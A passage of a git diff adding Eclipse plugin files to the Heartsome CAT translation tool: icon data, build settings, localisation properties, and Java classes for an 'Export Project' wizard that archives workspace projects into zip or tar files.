]].^]./].(]._].:].<].[].}].}].}].}].}].}].}].}].}].}].|].|].|].}].1].2].3].4].5].6].7].8].9].0].|].|].|].|].|].|].|].|].|].a].b].3].c].d].e].f].3].g].h].|].|].|].h].i].j].k].l].m].n].o].p].q].r].s].t].u].v].v].w].x].y].z].z].A].B].C].D].E].F].G].t].H].I].J].K].L].M].N].O].P].Q].Q].Q].R].R].Q].P].S].T].M].j].U].V].W].N].X].Y].Z].`]. ^..^.+^.Z].@^.#^.$^.4,.%^.. . . . ", +" . . . . &^.*^.=^.|. V. -^.d# d# d# d# d# d# d# d# d# d# d# d# d# d# d# E% 2= /- U] H{ H{ H{ U] ;^./- d# d# d# d# d# d# d# d# d# d# ;^.U] H{ H{ H{ U] /- >^.d# d# d# d# d# ;^.,^.H{ z} '^.'^.<, '^.z} )^.U] U] !^.;^.;^.;^./- ;^.;^./- /- ,^.,^.U] H{ U] U] U] !^.;^./- /- /- ;^./- /- d# d# d# d# d# d# d# d# 2= ;^.;^.;^.;^.2= 2= 2= /- U] H{ ~^.H{ U] U] o {^.]^.^^./^.]].. . . ", +" . . . . (^._^.:^.<^.6 [^.e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# }^.;8 !; !; !; |^.!; !; }^.e# e# e# e# e# e# e# e# e# }^.;8 !; !; [, !; !; ;8 ;8 e# e# e# e# e# !; $/ [, G| 1^.1^.1^.1^.6' [, !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 !; !; !; !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 }^.e# e# e# e# e# e# e# }^.}^.;8 ;8 ;8 ;8 }^.}^.}^.;8 !; |^.|^.|^.!; 2^.3^.4^.^^.5^.6^.. . . . ", +" . . . . . 7^.8^.9^.0^.a^.f# t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t D$ D$ v~ v~ f# f# f# v~ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t D$ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ f# {@ ~].4,.b^.c^.. . . . . ", +" . . . . . . d^.% e^.f^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.h^.g^.g^.h^.h^.g^.h^.h^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.E$ i^.j^.k^.l^.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/macosx/xliff.icns b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/macosx/xliff.icns new file mode 100644 index 0000000..6ccdcfe Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/macosx/xliff.icns differ diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_16.bmp b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_16.bmp new file mode 100644 index 0000000..2f0ebdd Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_16.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_32.bmp b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_32.bmp new file mode 100644 index 0000000..ba3471e Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_32.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_48.bmp b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_48.bmp new file mode 100644 index 0000000..45b56d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/win32/xliff_48.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/plugin_customization.ini b/ts/net.heartsome.cat.ts.edition_ultimate.feature/plugin_customization.ini new file mode 100644 index 0000000..333fab9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/ts/net.heartsome.cat.ts.exportproject/.classpath b/ts/net.heartsome.cat.ts.exportproject/.classpath new file mode 100644 index 0000000..ec7787c --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.exportproject/.project b/ts/net.heartsome.cat.ts.exportproject/.project new file mode 100644 index 0000000..1857f56 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.exportproject + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.exportproject/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.exportproject/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.exportproject/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.exportproject/META-INF/MANIFEST.MF new file mode 100644 index 0000000..497c3c3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/META-INF/MANIFEST.MF @@ -0,0 +1,21 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Export Project +Bundle-SymbolicName: net.heartsome.cat.ts.exportproject;singleton:=true +Bundle-Version: 8.0.1.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.ts.exportproject.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.common.util, + org.eclipse.core.resources, + org.eclipse.ui.internal.ide, + org.eclipse.ui.internal.wizards.datatransfer +Bundle-ClassPath: lib/ant.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.exportproject/build.properties b/ts/net.heartsome.cat.ts.exportproject/build.properties new file mode 100644 index 0000000..52c72c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + lib/ant.jar,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.exportproject/lib/ant.jar b/ts/net.heartsome.cat.ts.exportproject/lib/ant.jar new file mode 100644 index 0000000..b3a94df Binary files /dev/null and b/ts/net.heartsome.cat.ts.exportproject/lib/ant.jar differ diff --git a/ts/net.heartsome.cat.ts.exportproject/plugin.properties b/ts/net.heartsome.cat.ts.exportproject/plugin.properties new file mode 100644 index 0000000..68d0479 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/plugin.properties @@ -0,0 +1,2 @@ +menu.project.export = \u5bfc\u51fa\u9879\u76ee... +command.project.export = \u5bfc\u51fa\u9879\u76ee diff --git a/ts/net.heartsome.cat.ts.exportproject/plugin.xml b/ts/net.heartsome.cat.ts.exportproject/plugin.xml new file mode 100644 index 0000000..3a540e2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/plugin.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.exportproject/plugin_en.properties b/ts/net.heartsome.cat.ts.exportproject/plugin_en.properties new file mode 100644 index 0000000..a6e10b8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/plugin_en.properties @@ -0,0 +1,2 @@ +menu.project.export = Export Project... +command.project.export = Export Project diff --git a/ts/net.heartsome.cat.ts.exportproject/plugin_zh.properties b/ts/net.heartsome.cat.ts.exportproject/plugin_zh.properties new file mode 100644 index 0000000..68d0479 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.project.export = \u5bfc\u51fa\u9879\u76ee... +command.project.export = \u5bfc\u51fa\u9879\u76ee diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/Activator.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/Activator.java new file mode 100644 index 0000000..49a0bcf --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.exportproject; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.exportproject"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/handler/ExportProjectHandler.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/handler/ExportProjectHandler.java new file mode 100644 index 0000000..270b564 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/handler/ExportProjectHandler.java @@ -0,0 +1,80 @@ +package net.heartsome.cat.ts.exportproject.handler; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.exportproject.wizards.ExportProjectWizard; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 导出项目的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ExportProjectHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + ExportProjectWizard wizard = new ExportProjectWizard(); + TSWizardDialog dialog = new TSWizardDialog(window.getShell(), wizard){ + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 导出项目 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch07s02.html#export-project", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + }; + + dialog.setHelpAvailable(true); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/Messages.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/Messages.java new file mode 100644 index 0000000..0c0ad5d --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.exportproject.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.exportproject.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message.properties b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message.properties new file mode 100644 index 0000000..5bc4e5b --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message.properties @@ -0,0 +1,6 @@ +wizard.ExportProjectWizard.title = \u5bfc\u51fa\u9879\u76ee +wizard.ExportProjectWizard.msgTitle = \u63d0\u793a +wizard.ExportProjectWizard.msg = \u9009\u4e2d\u7684\u9879\u76ee\u5df2\u6210\u529f\u5bfc\u51fa\u3002 +wizard.ExportProjectWizardPage.title = \u5bfc\u51fa\u9879\u76ee +wizard.ExportProjectWizardPage.desc = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u9879\u76ee\u3002 +wizard.ImportProjectWizardPage.desc = \u8bf7\u9009\u62e9\u8981\u641c\u7d22\u73b0\u6709\u9879\u76ee\u7684\u8def\u5f84\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_en.properties b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_en.properties new file mode 100644 index 0000000..27f5390 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_en.properties @@ -0,0 +1,6 @@ +wizard.ExportProjectWizard.title = Export Project +wizard.ExportProjectWizard.msgTitle = Message +wizard.ExportProjectWizard.msg = The selected project has been exported. +wizard.ExportProjectWizardPage.title = Export Project +wizard.ExportProjectWizardPage.desc = Please select projects you want to export. +wizard.ImportProjectWizardPage.desc = Please specify the path of the project archive you want to import. diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_zh.properties b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_zh.properties new file mode 100644 index 0000000..5bc4e5b --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/resource/message_zh.properties @@ -0,0 +1,6 @@ +wizard.ExportProjectWizard.title = \u5bfc\u51fa\u9879\u76ee +wizard.ExportProjectWizard.msgTitle = \u63d0\u793a +wizard.ExportProjectWizard.msg = \u9009\u4e2d\u7684\u9879\u76ee\u5df2\u6210\u529f\u5bfc\u51fa\u3002 +wizard.ExportProjectWizardPage.title = \u5bfc\u51fa\u9879\u76ee +wizard.ExportProjectWizardPage.desc = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u9879\u76ee\u3002 +wizard.ImportProjectWizardPage.desc = \u8bf7\u9009\u62e9\u8981\u641c\u7d22\u73b0\u6709\u9879\u76ee\u7684\u8def\u5f84\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ArchiveFileExportOperation2.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ArchiveFileExportOperation2.java new file mode 100644 index 0000000..959a0e8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ArchiveFileExportOperation2.java @@ -0,0 +1,358 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.MultiStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.operation.ModalContext; +import org.eclipse.osgi.util.NLS; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.eclipse.ui.internal.wizards.datatransfer.IFileExporter; +import org.eclipse.ui.internal.wizards.datatransfer.TarFileExporter; + +/** + * 此类与 org.eclipse.ui.internal.wizards.datatransfer 大部分代ç ä¸€æ ·ï¼ŒåŒºåˆ«ä¸ºè°ƒç”¨çš„ç”Ÿæˆ ZIP 压缩包的类为 + * net.heartsome.cat.ts.ui.wizards.ZipFileExporter2 + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ArchiveFileExportOperation2 implements IRunnableWithProgress { + + private IFileExporter exporter; + + private String destinationFilename; + + private IProgressMonitor monitor; + + private List resourcesToExport; + + private IResource resource; + + private List errorTable = new ArrayList(1); // IStatus + + private boolean useCompression = true; + + private boolean useTarFormat = false; + + private boolean createLeadupStructure = true; + + /** + * Create an instance of this class. Use this constructor if you wish to export specific resources without a common + * parent resource + * @param resources + * java.util.Vector + * @param filename + * java.lang.String + */ + public ArchiveFileExportOperation2(List resources, String filename) { + super(); + + // Eliminate redundancies in list of resources being exported + Iterator elementsEnum = resources.iterator(); + while (elementsEnum.hasNext()) { + IResource currentResource = (IResource) elementsEnum.next(); + if (isDescendent(resources, currentResource)) { + elementsEnum.remove(); // Removes currentResource; + } + } + + resourcesToExport = resources; + destinationFilename = filename; + } + + /** + * Create an instance of this class. Use this constructor if you wish to recursively export a single resource. + * @param res + * org.eclipse.core.resources.IResource; + * @param filename + * java.lang.String + */ + public ArchiveFileExportOperation2(IResource res, String filename) { + super(); + resource = res; + destinationFilename = filename; + } + + /** + * Create an instance of this class. Use this constructor if you wish to export specific resources with a common + * parent resource (affects container directory creation) + * @param res + * org.eclipse.core.resources.IResource + * @param resources + * java.util.Vector + * @param filename + * java.lang.String + */ + public ArchiveFileExportOperation2(IResource res, List resources, String filename) { + this(res, filename); + resourcesToExport = resources; + } + + /** + * Add a new entry to the error table with the passed information + */ + protected void addError(String message, Throwable e) { + errorTable.add(new Status(IStatus.ERROR, IDEWorkbenchPlugin.IDE_WORKBENCH, 0, message, e)); + } + + /** + * Answer the total number of file resources that exist at or below self in the resources hierarchy. + * @return int + * @param checkResource + * org.eclipse.core.resources.IResource + */ + protected int countChildrenOf(IResource checkResource) throws CoreException { + if (checkResource.getType() == IResource.FILE) { + return 1; + } + + int count = 0; + if (checkResource.isAccessible()) { + IResource[] children = ((IContainer) checkResource).members(); + for (int i = 0; i < children.length; i++) { + count += countChildrenOf(children[i]); + } + } + + return count; + } + + /** + * Answer a boolean indicating the number of file resources that were specified for export + * @return int + */ + protected int countSelectedResources() throws CoreException { + int result = 0; + Iterator resources = resourcesToExport.iterator(); + while (resources.hasNext()) { + result += countChildrenOf((IResource) resources.next()); + } + + return result; + } + + /** + * Export the passed resource to the destination .zip. Export with no path leadup + * @param exportResource + * org.eclipse.core.resources.IResource + */ + protected void exportResource(IResource exportResource) throws InterruptedException { + exportResource(exportResource, 1); + } + + /** + * Creates and returns the string that should be used as the name of the entry in the archive. + * @param exportResource + * the resource to export + * @param leadupDepth + * the number of resource levels to be included in the path including the resourse itself. + */ + private String createDestinationName(int leadupDepth, IResource exportResource) { + IPath fullPath = exportResource.getFullPath(); + if (createLeadupStructure) { + return fullPath.makeRelative().toString(); + } + return fullPath.removeFirstSegments(fullPath.segmentCount() - leadupDepth).toString(); + } + + /** + * Export the passed resource to the destination .zip + * @param exportResource + * org.eclipse.core.resources.IResource + * @param leadupDepth + * the number of resource levels to be included in the path including the resourse itself. + */ + protected void exportResource(IResource exportResource, int leadupDepth) throws InterruptedException { + if (!exportResource.isAccessible()) { + return; + } + + if (exportResource.getType() == IResource.FILE) { + String destinationName = createDestinationName(leadupDepth, exportResource); + monitor.subTask(destinationName); + + try { + exporter.write((IFile) exportResource, destinationName); + } catch (IOException e) { + addError(NLS.bind(DataTransferMessages.DataTransfer_errorExporting, exportResource.getFullPath() + .makeRelative(), e.getMessage()), e); + } catch (CoreException e) { + addError(NLS.bind(DataTransferMessages.DataTransfer_errorExporting, exportResource.getFullPath() + .makeRelative(), e.getMessage()), e); + } + + monitor.worked(1); + ModalContext.checkCanceled(monitor); + } else { + IResource[] children = null; + + try { + children = ((IContainer) exportResource).members(); + } catch (CoreException e) { + // this should never happen because an #isAccessible check is done before #members is invoked + addError(NLS.bind(DataTransferMessages.DataTransfer_errorExporting, exportResource.getFullPath()), e); + } + + if (children.length == 0) { // create an entry for empty containers, see bug 278402 + String destinationName = createDestinationName(leadupDepth, exportResource); + try { + exporter.write((IContainer) exportResource, destinationName + "/"); + } catch (IOException e) { + addError(NLS.bind(DataTransferMessages.DataTransfer_errorExporting, exportResource.getFullPath() + .makeRelative(), e.getMessage()), e); + } + } + + for (int i = 0; i < children.length; i++) { + exportResource(children[i], leadupDepth + 1); + } + + } + } + + /** + * Export the resources contained in the previously-defined resourcesToExport collection + */ + protected void exportSpecifiedResources() throws InterruptedException { + Iterator resources = resourcesToExport.iterator(); + + while (resources.hasNext()) { + IResource currentResource = (IResource) resources.next(); + exportResource(currentResource); + } + } + + /** + * Returns the status of the operation. If there were any errors, the result is a status object containing + * individual status objects for each error. If there were no errors, the result is a status object with error code + * OK. + * @return the status + */ + public IStatus getStatus() { + IStatus[] errors = new IStatus[errorTable.size()]; + errorTable.toArray(errors); + return new MultiStatus(IDEWorkbenchPlugin.IDE_WORKBENCH, IStatus.OK, errors, + DataTransferMessages.FileSystemExportOperation_problemsExporting, null); + } + + /** + * Initialize this operation + * @exception java.io.IOException + */ + protected void initialize() throws IOException { + if (useTarFormat) { + exporter = new TarFileExporter(destinationFilename, useCompression); + } else { + exporter = new ZipFileExporter2(destinationFilename, useCompression); + } + } + + /** + * Answer a boolean indicating whether the passed child is a descendent of one or more members of the passed + * resources collection + * @return boolean + * @param resources + * java.util.Vector + * @param child + * org.eclipse.core.resources.IResource + */ + protected boolean isDescendent(List resources, IResource child) { + if (child.getType() == IResource.PROJECT) { + return false; + } + + IResource parent = child.getParent(); + if (resources.contains(parent)) { + return true; + } + + return isDescendent(resources, parent); + } + + /** + * Export the resources that were previously specified for export (or if a single resource was specified then export + * it recursively) + */ + public void run(IProgressMonitor progressMonitor) throws InvocationTargetException, InterruptedException { + this.monitor = progressMonitor; + + try { + initialize(); + } catch (IOException e) { + throw new InvocationTargetException(e, NLS.bind(DataTransferMessages.ZipExport_cannotOpen, e.getMessage())); + } + + try { + // ie.- a single resource for recursive export was specified + int totalWork = IProgressMonitor.UNKNOWN; + try { + if (resourcesToExport == null) { + totalWork = countChildrenOf(resource); + } else { + totalWork = countSelectedResources(); + } + } catch (CoreException e) { + // Should not happen + } + monitor.beginTask(DataTransferMessages.DataTransfer_exportingTitle, totalWork); + if (resourcesToExport == null) { + exportResource(resource); + } else { + // ie.- a list of specific resources to export was specified + exportSpecifiedResources(); + } + + try { + exporter.finished(); + } catch (IOException e) { + throw new InvocationTargetException(e, NLS.bind(DataTransferMessages.ZipExport_cannotClose, + e.getMessage())); + } + } finally { + monitor.done(); + } + } + + /** + * Set this boolean indicating whether each exported resource's path should include containment hierarchies as + * dictated by its parents + * @param value + * boolean + */ + public void setCreateLeadupStructure(boolean value) { + createLeadupStructure = value; + } + + /** + * Set this boolean indicating whether exported resources should be compressed (as opposed to simply being stored) + * @param value + * boolean + */ + public void setUseCompression(boolean value) { + useCompression = value; + } + + /** + * Set this boolean indicating whether the file should be output in tar.gz format rather than .zip format. + * @param value + * boolean + */ + public void setUseTarFormat(boolean value) { + useTarFormat = value; + } +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizard.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizard.java new file mode 100644 index 0000000..fad6c85 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizard.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import net.heartsome.cat.ts.exportproject.resource.Messages; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.IExportWizard; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.slf4j.LoggerFactory; + +/** + * 导出项目å‘导 + * @author peason + * @version + * @since JDK1.6 + */ +public class ExportProjectWizard extends Wizard implements IExportWizard { + + private IStructuredSelection selection; + + private ExportProjectWizardPage page; + + public ExportProjectWizard() { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ExportProjectWizard.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + setWindowTitle(Messages.getString("wizard.ExportProjectWizard.title")); + setNeedsProgressMonitor(true); + } + + public void init(IWorkbench workbench, IStructuredSelection selection) { + } + + @Override + public boolean performFinish() { + // TODO Auto-generated method stub + boolean isFinish = page.finish(); + if (isFinish) { + MessageDialog.openInformation(getShell(), Messages.getString("wizard.ExportProjectWizard.msgTitle"), + Messages.getString("wizard.ExportProjectWizard.msg")); + } + return isFinish; + } + + @Override + public void addPages() { + // TODO Auto-generated method stub + super.addPages(); + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart viewPart = workbenchPage.findView("net.heartsome.cat.common.ui.navigator.view"); + if (viewPart != null) { + 